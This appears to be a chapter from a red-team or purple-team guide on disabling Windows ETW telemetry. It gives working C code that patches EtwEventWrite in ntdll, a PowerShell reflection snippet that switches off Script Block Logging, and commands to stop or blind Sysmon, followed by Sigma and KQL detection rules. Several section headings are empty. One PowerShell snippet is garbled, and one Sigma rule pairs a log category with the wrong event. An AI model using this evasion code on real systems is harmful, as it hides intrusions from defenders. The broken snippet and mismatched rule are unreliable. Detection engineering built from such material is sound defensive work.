ETW Patching and Telemetry Suppression

ETW (Event Tracing for Windows) is the telemetry backbone that feeds both Windows Event Log and EDR products. Userland ETW patching suppresses the telemetry that PowerShell Script Block Logging, .NET runtime events, and process activity feed to any listening consumer. This chapter covers EtwEventWrite patching, provider-level disablement, the hard floor of ETW-TI in the kernel, and what defenders observe when ETW is tampered with.

ETW Architecture

EtwEventWrite Patch

// Patch EtwEventWrite in ntdll to return success immediately without
// actually writing any event. Suppresses all ETW events from this process.
// More comprehensive than AMSI patch — kills ALL ETW for this process.

#include <windows.h>

BOOL PatchEtwEventWrite(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtw) return FALSE;

    // Patch: xor eax, eax (31 C0) + ret (C3)
    // EtwEventWrite returns ULONG (STATUS_SUCCESS = 0)
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };  // xor eax,eax + ret

    DWORD oldProtect;
    VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pEtw, patch, sizeof(patch));
    VirtualProtect(pEtw, sizeof(patch), oldProtect, &oldProtect);
    return TRUE;
}

// PowerShell equivalent (must be run before Script Block Logging fires):
// $patch = [byte[]] (0x33, 0xC0, 0xC3)
// $etwAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
//     (([System.Text.Encoding]::Unicode.GetString(
//         [Convert]::FromBase64String('bgB0AGQAbABsAA==')) +
//       [char]33 + 'EtwEventWrite') | % {
//       [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($_)}),
//   [Type])
// ... (full version requires p/invoke to VirtualProtect)

Provider-Level Disable via Unhook

// More surgical: disable only the PowerShell provider by zeroing
// the provider's registration handle — no events from that provider only.
// Doesn't touch EtwEventWrite → less visible as a broad suppression.

// The PowerShell provider registration handle is stored in
// System.Management.Automation.dll's data section.
// Via reflection, we can find and zero the etwProvider handle.

# PowerShell — zero the SMA ETW provider handle (targets only PS logging):
$SMA = [Ref].Assembly
$t = $SMA.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$f = $t.GetField('etwProvider', 'NonPublic,Static')
$p = $f.GetValue($null)

# Zero the provider enabled flag:
$etwProviderType = $p.GetType()
$m7 = $etwProviderType.GetField('m_enabled', 'NonPublic,Instance')
$m7.SetValue($p, [System.Int32]0)

# Result: Event 4104 (Script Block Log) will no longer be written
# for this runspace. Other ETW providers remain intact.
# Detection: absence of 4104 events after PowerShell activity is itself
# a detection signal ("should have logged but didn't").

ETW-TI: The Kernel Floor

Sysmon Blinding (Kernel Driver)

// Sysmon is a kernel driver (SysmonDrv.sys). Userland ETW patches do NOT
// affect Sysmon — it hooks kernel callbacks directly.
// Killing Sysmon requires either:
//   1. Admin + sc stop SysmonDrv (visible, creates a log gap)
//   2. BYOVD kernel write to suppress SysmonDrv callbacks
//   3. Process token manipulation to run as PPL (hard)

// Detectable alternative: filter Sysmon's event output by process name
// without stopping the driver — modify Sysmon config via registry.
// Requires SYSTEM privileges:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SysmonDrv
  → modify "Parameters" key (encrypted config) — requires knowing Sysmon's
    config encryption or replacing with a minimal allow-nothing config

// Real-world approach: if you have SYSTEM, stop Sysmon:
// sc.exe stop SysmonDrv  (Event 7036 fires: service stopped — logged)
// Alternative: taskkill /f /im Sysmon64.exe (process terminates; driver
//   remains loaded but event forwarding stops — quieter)

// Detection of Sysmon stop:
// Event ID 7036: Service Control Manager — SysmonDrv service stopped
// Followed by absence of Sysmon events = high-confidence indicator

Telemetry Suppression Table

Detection Engineering

title: EtwEventWrite Patching in ntdll
logsource:
  product: windows
  category: create_remote_thread
detection:
  selection:
    EventID: 10  # Sysmon process access
    TargetImage|endswith: '\powershell.exe'
    GrantedAccess: '0x1FFFFF'
    CallTrace|contains: 'ntdll.dll'
  condition: selection
level: medium
note: Combine with absence-of-ETW-events correlation for higher fidelity

title: PowerShell No Script Block Events Despite Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: '-NonInteractive'
  filter_has_4104:
    EventID: 4104
  condition: selection AND NOT filter_has_4104
level: medium
note: Correlation rule — requires joining process create with script block events

-- MDE KQL: detect VirtualProtect on ntdll address range (ETW patch attempt)
DeviceEvents
| where ActionType == "VirtualProtectApiCall"
| where MemoryProtection has_any ("ExecuteReadWrite", "ReadWrite")
| join kind=inner (
    DeviceImageLoadEvents
    | where FileName =~ "ntdll.dll"
    | project DeviceName, InitiatingProcessId, NtdllBase = SHA1
) on DeviceName, InitiatingProcessId
// If MemoryAddress falls inside ntdll.dll's mapped range → suspicious
| where MemoryAddress != ""
| project Timestamp, DeviceName, InitiatingProcessFileName,
          MemoryProtection, MemoryAddress, MemorySize

Q&A